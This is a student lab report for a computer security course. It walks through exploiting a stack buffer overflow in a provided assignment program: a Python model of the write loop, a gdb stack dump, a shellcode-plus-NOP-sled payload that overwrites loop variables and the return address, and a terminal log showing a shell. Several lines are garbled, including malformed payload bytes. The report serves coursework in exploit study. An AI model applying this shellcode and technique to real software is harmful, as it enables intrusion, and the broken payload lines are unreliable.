#### NUS CS-3235: Computer Security

October 14, 2020

# Assignment 2 Report - Part 1

Lecturer: Reza Shokri Student: Tan Wei, Adam A0180277B

## 1 Buffer Overflow

## 1.1 Identifying Buffer Input

- By reading the source code, we can tell that buf[] can be forced to be filled past its capacity since the write loop loops up to a maximum of 2\*BUFSIZE
- To identify what is written into the buffer we rewrite the code in python and print the contents.

```
def bof():
    buf1 = list(range(1,size+1, 1))
    buf2 = list(range(-size+1,1, 1))
    buf = [None] * 200

    buf1[BUFSIZE-1] = 0
    buf2[BUFSIZE-1] = 0
    idx = 0
    b1 = 64
    b2 = 64
    while(idx < b1 + b2):
        idx1 = BUFSIZE - 1 if (idx % 2) else idx // 2;
        idx2 = idx // 2 if (idx % 2) else BUFSIZE - 1;
        buf[idx] = buf1[idx1] + buf2[idx2];
        print(idx, idx1, idx2, buf[idx], buf1[idx1], buf2[idx2])
        idx += 1
    print(buf)

bof()</pre>
```

• We input negative integers for buf2 and positive integers for buf1, both in accending order, to allow us to separate the origin of each char written.

```
[1, -63, 2, -62, 3, -61, 4, -60, 5, -59, 6, -58, 7, -57, 8, -56, 9, -55, 10, -54, 11, -53, 12, -52, 13, -51, 14, -50, 15, -49, 16, -48, 17, -47, 18, -46, 19, -45, 20, -44, 21, -43, 22, -42, 23, -41, 24, -40, 25, -39, 26, -38, 27, -37, 28, -36, 29, -35, 30, -34, 31, -33, 32, -32, 33, -31, 34, -30, 35, -29, 36, -28, 37, -27, 38, -26, 39, -25, 40, -24, 41, -23, 42, -22, 43, -21, 44, -20, 45, -19, 46, -18, 47, -17, 48, -16, 49, -15, 50, -14, 51, -13, 52, -12, 53, -11, 54, -10, 55, -9, 56, -8, 57, -7, 58, -6, 59, -5, 60, -4, 61, -3, 62, -2, 63, -1, 0, 0, None, No
```

- We conclude that the code alternates the written byte in the pattern buf1[0], buf2[0], buf1[1], buf2[1]...
- Code is then written to split the payload into the two input files, reducing the complexity of the problem letting us fill the buffer with the specified payload without worrying about the ordering for the 2 sub-payloads

```
while payload:
    payload1 += payload[0]
    payload2 += payload[1]
    payload = payload[2:]
ex1.write(payload1)
ex2.write(payload2)
```

#### 1.2 Overflowing the buffer

• We then look at the stack space do decide what pay load we require to execute the shell code

```
0x53dbf748ff978cd0
0x52995f54
    00850 --> 0x6c7078652f2e0072 ('r')
0x1
0x0
                     _fopen_internal+116>:
                                                      test
                       Start of overflow
0x900000000 ('')
                   ' ) <- byte_read2 and idx1
0x400000003f
0x1400000040
                                    _libc_csu_init>:
                                  eax,0x0) <--- return address
               0xfbad2488
               0xfbad2488
                                   push
                      libc_start_main+240>:
                                                      mov
```

- buf[] starts filling at from its address 0x7fffffffdd60, using the allocated memory space we can identify the start location of the overflow, and with several queries to gdb we can also identify where each other variable is stored
- The goal is to not disturb the loop logic of the writing loop since we require it to write over its control variables to reach the return address

- By analyzing the buffer\_overflow.c file we can tell that arbitrary values can be written in idx1 idx2, while byte\_read1 byte\_read2 have to be kept kept high enough to allow the loop to reach the stack space storing the return address
- The values that I went with keeps byte\_read1 byte\_read2 the same and maintains idx at the same value when it writes over itself

```
#8bytes per line to visualize stack space (inserted in reverse order perline)

payload = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91"

payload +="\xd0\x8c\x97\xff\x48\xff\xdb\x53"

payload +="\x54\x5f\x99\x52\x57\x54\x5e\xbo"

payload +="\x3b\x0f\x05\x90\x90\x90\x90\x90"

payload +="\x90\x90\x90\x90\x90\x90\x90"

payload +="\x90\x90\x90\x90\x90\x90\x90"

payload +="\x90\x90\x90\x90\x90\x90\x90"

payload +="\x90\x90\x90\x90\x90\x90\x90\x90"

payload +="\x90\x90\x90\x90\x90\x90\x90\x90"

#filled buf[64] now overflowing @0x7ffffffdda0

payload +="\x00\x00\x00\x00\x00\x00\x00\x00"

#Writing @0x7ffffffddb0 idx2 is at @0x7ffffffddac

payload +="\x00\x00\x00\x00\x00\x00\x00\x00"

#Writing @0x7ffffffddb0 idx2 is at @0x7fffffffddb0 byte_read2 is at @0x7ffffffddb4

payload +="\x00\x00\x00\x00\x00\x00\x00\x00\x00"

#Writing @0x7fffffffddb0 byte_read1 is at @0x7fffffffddb8 idx is at @0x7ffffffddbc

#Make sure we don't change the values when writing at idx

payload +="\x38\x00\x00\x00\x00\x00\x00\x00"

#Writing @0x7fffffffddc0 overwriting libc call 0x7ffffffdde0

payload +="\x20\x0d\xff\xfffffddc8 overwriting return value "0x7ffffffdda0"

payload +="\x20\x0d\xff\xff\xff\xff\x7f\x00\x00"
```

- The final line in payload is replaced with the buffer location of when actually running the executable, which can be obtained by running the executable with empty exploit 1 and exploit 2 files
- After filling exploit1 and exploit2 with the payload, we run ./buffer\_overflow which gives us shell

```
student@student-VirtualBox: ~/Desktop/a2/buffer_overflow

student@student-VirtualBox: ~/Desktop/a2/buffer_overflow$ python exploit.py

student@student-VirtualBox: ~/Desktop/a2/buffer_overflow$ ./buffer_overflow

Buffer starts at: 0x7fffffffdda0

$ ls
1_report.pdf buffer_overflow exploit.py exploit2

Makefile buffer_overflow.c exploit1 peda-session-buffer_overflow.txt

$
```